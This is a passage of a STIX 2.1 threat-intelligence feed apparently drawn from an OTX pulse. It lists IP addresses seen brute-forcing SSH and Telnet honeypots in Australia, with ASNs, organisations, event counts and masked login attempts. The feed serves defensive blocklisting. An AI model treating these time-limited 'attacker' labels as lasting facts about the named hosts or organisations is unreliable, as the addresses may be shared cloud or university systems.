      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): a***o, 3**********4, m**k, m********g, s*****r. Passwords observed (masked): 3***********4, 3**********4, a******3, m******s, p******d.",
      "id": "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.148.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): f*********g, 3**********4, c***d, c*****y, d*******r. Passwords observed (masked): 1**4, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--105b5245-4868-47cc-88dd-31e0cb681066",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.115.16.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0f955925-512c-41c5-b0c7-0aa385a8be72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.60.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): 3**********4, ***, c****e, **, f****d. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--1773cd38-f829-449e-a937-bc554445b40d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.125.147.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): ***, r**t. Passwords observed (masked): N*****!, q********..",
      "id": "indicator--dc265159-b563-4582-94e1-164dbfbad873",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.252.159.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 63969. Organisation(s): Race Online Limited. Usernames observed (masked): 3**********4, ***, c****e, f****d, u******1. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--187491f5-478c-422a-ac4a-38ac9739456b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.48.80.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28191. Organisation(s): Jupiter Telecomunicacoes e Informatica Ltda. Usernames observed (masked): ***, 3**********4, ***. Passwords observed (masked): ***, 3***********4, 3**********4, N*****!.",
      "id": "indicator--5ef54844-763f-43dc-9914-0ef16b6c38e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.90.33.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****r, **. Passwords observed (masked): !***t, 1******x, 1******X, A********!, P**********6.",
      "id": "indicator--7af5fd37-428e-4353-81ff-ddcc509ec805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.26.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): 3**********4, ***, c****e, **, f****d. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--e320eb65-b663-4dcd-b063-eae23a0f6566",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.122.129.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): *, 3**********4, a******r, **, c***d. Passwords observed (masked): 1****6, 1**4, 1***5, 1******8, 3***********4.",
      "id": "indicator--42ea5000-33a5-497b-8597-42c5e47cb68e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.160.246.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): d*****r, 3**********4, j*****r, o********e. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, o********e.",
      "id": "indicator--7703535e-48e7-4c15-9a2b-95fb79362c9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.249.244.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T02:15:15.000Z",
      "valid_until": "2026-04-11T02:15:11.000Z"
    },
    {
      "created": "2026-03-10T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--94a481aa-e5e2-470c-9f1b-d6d3a706c69a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.211.68.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T03:15:13.000Z",
      "valid_until": "2026-04-11T03:15:11.000Z"
    },
    {
      "created": "2026-03-10T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--943fca76-19a3-4cc2-88e4-f7a7ac024614",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.229.67.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T03:15:13.000Z",
      "valid_until": "2026-04-11T03:15:11.000Z"
    },
    {
      "created": "2026-03-10T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 12093. Organisation(s): University of Waterloo. Usernames observed (masked): s******s. Passwords observed (masked): z*******r.",
      "id": "indicator--d70bec42-f242-4521-94d6-551acba83df5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.96.155.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T03:15:13.000Z",
      "valid_until": "2026-04-11T03:15:11.000Z"
    },
    {
      "created": "2026-03-10T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--76561da7-cb95-4596-8922-af3d6276befa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.33.80.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T03:15:13.000Z",
      "valid_until": "2026-04-11T03:15:11.000Z"
    },
    {
      "created": "2026-03-10T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1*******9, P******d, a***n.",
      "id": "indicator--8649ffc1-4cf1-4003-9516-ab99736b8ba6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.36.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T03:15:13.000Z",
      "valid_until": "2026-04-11T03:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, c******r. Passwords observed (masked): k*******************S, c******r, r**t.",
      "id": "indicator--192dd160-2b87-4858-b89f-f0d3f08ab08e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.85.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 553. Organisation(s): Universitaet Stuttgart. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ecb2abb8-da92-4fce-a78e-c84addbe2566",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.60.122.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--00e27606-8db6-48bd-9b63-787d9a7bd6a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.162.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , G************1, b*****************************************'. Passwords observed (masked): , H**********************3, g************************0.",
      "id": "indicator--6162434d-c407-4612-93d5-95e352404ef0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.162.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): ***, 1**4, 1********0, a******3, p*******1.",
      "id": "indicator--bc5a7c19-beb0-42de-9122-24cc92f94f76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.112.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1033e345-c6c3-472c-ba4e-c6e0f9d7f5da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.117.20.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 18822. Organisation(s): Manquehuenet.",
      "id": "indicator--26c8b409-bea9-4be0-9878-f0055c0fa493",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.215.90.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T04:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 201002. Organisation(s): PebbleHost Ltd.",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T04:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:15:13.000Z",
      "valid_until": "2026-04-11T04:15:11.000Z"
    },
    {
      "created": "2026-03-10T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d91d1429-aa1c-442a-a537-15e2fdf3a15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T05:15:11.000Z",
      "valid_until": "2026-04-11T05:15:09.000Z"
    },
    {
      "created": "2026-03-10T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1**4, 1***5, 1****6.",
      "id": "indicator--c919c2ea-d69d-4dce-a810-d2c5c4a54d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.15.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T05:15:11.000Z",
      "valid_until": "2026-04-11T05:15:09.000Z"
    },
    {
      "created": "2026-03-10T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): r**t, a***n, z***p, X***********#, d*****t. Passwords observed (masked): 0**0, j******h, *, 1**1, 1***5.",
      "id": "indicator--4f4d9b60-f01f-4bbe-9e63-02353501a3cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.228.187.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T05:15:11.000Z",
      "valid_until": "2026-04-11T05:15:09.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--19b444bf-0f84-4697-9ef5-72a6b78521de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.225.62.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): a******r, r**t, 3**********4, c****m, c***d. Passwords observed (masked): 1**4, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--c8a8addd-14d2-4335-b148-45759ba68716",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.30.41.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 138239. Organisation(s): Vaishnavi Online Internet Services Pvt. Ltd.. Usernames observed (masked): 3**********4, a******r, **, r**t, c****m. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1****6.",
      "id": "indicator--57350d23-4087-461b-9ecc-c6a76fd64d81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.56.30.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 141679. Organisation(s): China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch. Usernames observed (masked): c***d, g******a, s******e, w********r. Passwords observed (masked): 1**4, 1****6, 1******8, s******e.",
      "id": "indicator--539d64e2-1d23-4c74-96b2-a83428a1366e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.228.36.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--bb9096f5-abeb-4cf4-bf86-5955b84e8a8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.164.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:15:07.000Z",
      "valid_until": "2026-04-11T06:15:05.000Z"
    },
    {
      "created": "2026-03-10T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****5, 3**********4, h**g, m**t. Passwords observed (masked): 1***5, 3***********4, 3**********4, p******d, u****5.",
